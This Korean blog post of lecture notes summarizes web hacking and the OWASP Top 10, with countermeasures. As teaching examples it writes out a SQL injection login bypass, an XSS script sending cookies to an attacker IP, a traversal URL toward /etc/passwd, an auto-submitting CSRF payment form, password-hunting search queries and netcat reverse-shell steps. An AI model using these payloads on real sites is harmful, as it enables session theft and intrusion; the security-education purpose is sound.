Super Kawaii Cute Cat Kaoani
본문 바로가기
{Lecture}/Information protection

[정보보호] 웹 보안 정리

by wonee1 2025. 10. 18.
728x90

웹 해킹


웹 취약점 스캐너를 통한 정보 수집

  • 빠른 시간 내에 다양한 접속 시도를 수행할 수 있다는 장점.
  • 스캐너로 확인된 취약점이 실제 보안 문제가 아닌 경우가 많음

 

 프록시 (Web Proxy)를 통한 취약점 분석

  • 웹의 구조 파악, 취약점 점검, 웹 해킹 시 웹 프록시 툴 사용.
  • 클라이언트에 설치되어 클라이언트의 통제를 받음.
  • 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시를 통해 확인하고 수정 가능.
  • 대표적인 웹 프록시 툴: Burp Suite (http://portswigger.net/burp 에서 무료 버전 다운로드 가능).

 

서버에서 클라이언트로 전송되는 패킷 변조

  • 서버가 클라이언트로 전송하는 패킷의 변수 값을 조작하여 악용 가능.
    • 예시: 서버에서 전송한 $A = 20$ 값을 클라이언트가 받기 전에 프록시를 통해 $A = 40$으로 변경.
  • 보안 대책: 서버에서 클라이언트로 전송한 값을 다시 참조하지 않도록 설계해야 함. (예: 경품 응모권 위조 방지)

 

클라이언트에서 서버로 전송되는 패킷 변조

  • 클라이언트가 서버로 전송하는 패킷의 값을 변조하여 악용 가능.
    • 예시: 게시글 조회 시 id=2를 id=1로 변경하여 다른 글 조회

 

구글 해킹을 통한 정보 수집

 

  • 구글과 같은 검색 엔진의 고급 검색 기능을 활용하여 웹 해킹에 필요한 정보 수집.

 

  • 주요 검색 인자:
    • site: 특정 도메인으로 지정한 사이트 내에서 문자열 검색. (예: site: sungshin.ac.kr admin)
    • filetype: 특정 파일 유형 내에서 문자열 검색. (예: filetype:txt password)
    • intitle: 페이지 제목에 특정 문자열이 포함된 사이트 검색. (예: intitle:index.of admin - 디렉터리 리스팅 취약점 검색)
  • 검색 엔진의 검색을 피하는 방법 (robots.txt 파일):
User-agent: googlebot
Disallow: dbconn.ini (특정 파일 검색 방지)
Disallow: /admin (특정 디렉터리 접근 방지

 

 


 

웹의 취약점과 보안

 

OWASP Top 10

  • 국제웹보안표준기구(OWASP)에서 발표하는 각 분야별 상위 열 가지 주요 웹 취약점 목록.
  • 시기에 따라 항목별 취약점 구분이 달라지며, 하나의 취약점이 두 가지 의미를 지니는 경우도 있음.

 

 

 

명령 삽입 취약점 (A1. Injection)

  • 클라이언트 요청 처리 시, 인수에 특정 명령을 실행할 수 있는 코드가 포함되는 경우 필터링이 미흡하면 발생한다. 
  • SQL, OS, LDAP 등 웹으로 명령을 전달하는 모든 경우에 적용 가능.
  • SQL 삽입 공격:
    • 웹 서버에서 데이터베이스로 전송되는 SQL 쿼리 인수에 추가 실행 코드를 삽입.
    • 로그인 시 아이디/패스워드 입력 필드 등에 악성 SQL 구문 삽입.
    • 예: 패스워드 입력 필드에 ' or ''=' 입력 시, SQL 쿼리가 항상 참(True)이 되어 사용자 인증 우회 가능. 
SELECT * FROM "user" WHERE e_mail_address = ’입력된아이디’ AND password =” or ”=”

 

 

 

인증 및 세션 관리 취약점 (A2. Broken Authentication and Session Management)

  • 취약한 패스워드 설정:
    • admin/admin과 같이 개발자가 설정한 취약한 패스워드를 그대로 사용하는 경우 많음.
  • 사용자 데이터를 이용한 인증:
    • 최초 인증 과정 후, 웹 서버가 인증값(쿠키와 같은 세션값)을 클라이언트에 넘겨줌.
    • 공격자가 세션 인증값은 그대로 사용하고 UserNo 값만 변경하여 다른 계정으로 로그인한 것처럼 웹 서비스를 이용할 수 있음.

 

XSS 취약점 (A3. Cross-Site Scripting)

  • XSS: 공격자가 작성한 스크립트가 다른 사용자에게 전달되어, 사용자의 웹 브라우저 안에서 적절한 검증 없이 실행되는 것.
  • 목표: 사용자의 세션을 탈취하거나, 웹사이트를 변조하고 악의적인 사이트로 이동시킬 수 있음.
  • 공격 구조:
    1. 공격자가 XSS 취약점이 있는 서버에 XSS 코드 작성하여 저장.
    2. 해당 웹 서비스 사용자가 공격자가 작성한 XSS 코드에 접근.
    3. 웹 서버는 XSS 코드가 포함된 게시판 글을 사용자에게 전달.
    4. 사용자의 시스템에서 XSS 코드가 실행.
    5. XSS 코드 실행 결과가 공격자에게 전달되어 공격 종료 (예: 쿠키값 탈취).
  • 예시: 게시판에 <script>location.href="http://192.168.137.128/XSS/GetCookie.asp?cookie="+document.cookie</script>와 같은 스크립트 입력 시, 현재 문서 사용자의 쿠키값을 공격자의 웹 서버로 전송.

 

취약한 접근 제어 (A4. Broken Access Control)

  • 인증된 사용자가 수행할 수 있는 것에 대한 제한을 제대로 적용하지 않은 것.
  • 일반 사용자나 로그인하지 않은 사용자가 관리자 페이지에 접근하여 관리자 권한의 기능을 악용할 수 있음.
  • 대응책:
    • 웹의 중요 페이지에 세션값(쿠키)을 확인하는 검증 로직을 입력해두어야 함.
    • 프로그램 개발 시 표준 인증 로직을 만들어 모든 웹페이지의 앞부분에 입력해야 함.
  • 디렉터리 탐색 (Directory Traversal):
    • 웹 브라우저에서 확인 가능한 경로의 상위를 탐색하여 특정 시스템 파일을 다운로드하는 공격.
    • .은 현재 디렉터리, ..는 상위 디렉터리를 의미.
    • 예: http://www.wishfree.com/board/download.jsp?filename=../list.jsp와 같이 filename 변수에 ../list.jsp를 입력하여 상위 디렉터리의 파일을 다운로드 시도.
    • /etc/passwd와 같이 사용자 계정 정보가 담긴 중요한 시스템 파일 다운로드 시도 가능.

 

 

보안 설정 오류 (A5. Security Misconfiguration)

  • 웹 서버, 애플리케이션 서버, 데이터베이스, 플랫폼 등의 보안 설정이 제대로 되어 있지 않은 경우.
  • 디렉터리 리스팅 (Directory Listing):
    • 웹 브라우저에서 웹 서버의 특정 디렉터리를 열면 그 디렉터리에 있는 파일과 목록이 모두 나열되는 것.
    • 관리자가 설정 사항을 인지하지 못했거나 웹 서버 자체의 취약점 때문에 발생.
  • 백업 및 임시 파일 존재:
    • 웹사이트 개발 시 웹 서버 백업 파일이나 임시 파일을 삭제하지 않고 방치하여 공격자가 내부 로직, 데이터베이스 접속 정보 등 획득 가능. (예: login.asp.bak)
  • 미흡한 주석 관리:
    • 웹 애플리케이션 주석에 개발 과정, 주요 로직 설명, 디렉터리 구조, 테스트 소스 정보, 아이디/패스워드 등이 기록되는 경우.
  • 파일 업로드 제한 부재:
    • 공격자가 웹 서버에 악의적인 파일(예: 웹 셸 shell.php)을 전송한 뒤 원격에서 실행하여 웹 서버 장악, 내부 침투 공격 수행 가능.
    • 웹 해킹의 최종 목표인 웹 서버 통제권을 얻기 위해 반드시 성공해야 하는 공격.
  • 리버스 텔넷 (Reverse Telnet or Reverse Shell):
    • 웹 해킹으로 시스템 권한을 획득한 후, 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 셸을 획득하기 위한 방법.
    • 방화벽이 있는 시스템을 공격할 때 자주 사용.
    • 공격자의 PC에 텔넷 서비스가 열려 있고 방화벽의 아웃바운드 정책이 열려 있다면, 웹 서버에서 공격자의 텔넷으로 접속 가능.
    • 공격 과정:
      1. 웹셸 업로드 등으로 명령창 획득.
      2. nc (netcat)와 같은 리버스 텔넷용 툴 업로드.
      3. 공격자 PC의 리버스 텔넷 데몬 활성화.
      4. 획득한 명령창으로 공격자에게 리버스 텔넷을 보내 리버스 텔넷 창 획득.
    • 예시: 친구가 몇 시쯤 집에 전화를 하라고 언질을 해두고, 전화가 오면 아버지는 모르는 척 "친구가 나오라네" 하면서 나가는 상황. (방화벽 안에서 밖으로 연결 요청)

 

민감한 데이터 노출 (A6. Sensitive Data Exposure)

  • 신용카드 번호, 주민등록번호, 인증 신뢰 정보와 같은 민감한 데이터를 보호하지 않아 유출되는 문제.
  • 대응책: 데이터 중요도에 따라 암호화 로직을 사용하고, 데이터베이스 테이블 단위에서 암호화를 수행해야 함.

 

 

불충분한 공격 방어 (A7. Insufficient Attack Protection)

  • 해킹 공격을 탐지, 방지, 대응할 수 있는 기능이 웹 애플리케이션에 부족한 경우.
  • 방어 체계가 없어 공격이 들어오면 그대로 성공할 수 있으며, 알려진 공격 패턴조차 탐지/차단하지 못함.
  • APT 공격이 일반화되면서 웹 애플리케이션 수준에서 자동으로 탐지, 로깅, 응답 및 공격 시도 차단을 포함하도록 권고.

 

 

CSRF 취약점 (A8. Cross-Site Request Forgery)

  • CSRF: 특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로, 로그인된 사용자가 자신의 의지와 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등)를 하게 만드는 공격.
  • XSS 공격과 유사하며, XSS 공격의 발전된 형태로 보기도 함.
  • XSS는 악성 스크립트가 클라이언트에서 실행되는 반면, CSRF는 사용자가 악성 스크립트를 서버에 요청하게 만듦

 

<body onload = "document.csrf.submit()">
<form name="csrf" action="http://www.shop.co.kr/malladmin/order/order.jsp" method="POST">
         input type="hidden" name="uid" value="wishfree">
         input type="hidden" name="mode" value="pay_for_order">
         input type="hidden" name="amount" value="10000">
</form>

 

위 코드가 포함된 페이지를 사용자가 열면, wishfree 계정으로 10,000원을 결제하라는 요청이 서버로 자동으로 전송됨

 

 

취약점이 있는 컴포넌트 사용 (A9. Using Components with Known Vulnerabilities)

  • 컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈에 알려진 보안 취약점이 있는 경우.
  • 악용되면 심각한 데이터 손실, 서버 장악이 가능.
  • 대응책: 사용하려는 컴포넌트, 라이브러리의 보안 취약점을 충분히 검토해야 함.

 

취약한 API (A10. Underprotected APIs)

  • API를 통해 웹 서비스 상호간의 연동이 이루어지므로, API 사용 시 보안에 취약하지 않은지 충분한 검토가 필요.
  • 대응책: 중요 API의 경우, API-Key 등을 통해 허용된 요청만 응답하도록 해야 함.

 

 


 

 

웹의 취약점 보완

 

특수문자 필터링

  • 웹 해킹의 가장 기본적인 형태인 인수 조작을 방어.
  • 예외적인 실행을 유발하는 특수문자를 함수를 이용하여 제거함으로써 XSS 취약점, SQL 삽입 공격, 디렉터리 탐색 공격 등을 방어.
  • 필터링이 필요한 주요 문자:

    < XSS 취약점 = SQL 삽입공격
    > XSS 취약점 ; SQL 삽입공격
    & XSS 취약점 * SQL 삽입공격
    " XSS 취약점 . SQL 삽입공격
    ? XSS 취약점 .. SQL 삽입공격
    ' XSS 취약점, SQL 삽입공격 -- SQL 삽입공격
    / XSS 취약점, 디렉터리 탐색공격    
function RemoveBad(InStr){ 
     InStr = InStr.replace(/\</g,""); 
     InStr = InStr.replace(/\>/g,""); 
     InStr = InStr.replace(/\&/g,""); 
     InStr = InStr.replace(/\"/g,"");
     InStr = InStr.replace(/\?/g,""); 
     InStr = InStr.replace(/\'/g,""); 
     InStr = InStr.replace(/\//g,""); 
     return InStr; 
}
  • 본문에 포함되는 주요 특수 문자를 함수를 이용하여 제거함으로써 XSS 취약점 공격을 방어 할 수 있음

 

 

서버 통제 작용

  • Client-Side Script (CSS) 기반의 필터링은 공격자가 로직을 파악하면 쉽게 무력화될 수 있음.
  • Server-Side Script (SSS) (예: ASP, JSP)로 필터링 로직을 수행해야 함.

 

지속적인 세션 관리

  • 모든 웹페이지에 일관성 있는 인증 로직을 적용해야 함.
  • 기업 또는 웹사이트 단위에서 세션 인증 로직을 표준화하고, 표준을 준수하여 웹페이지를 개발하도록 해야 함.
 
 

 

 

 

728x90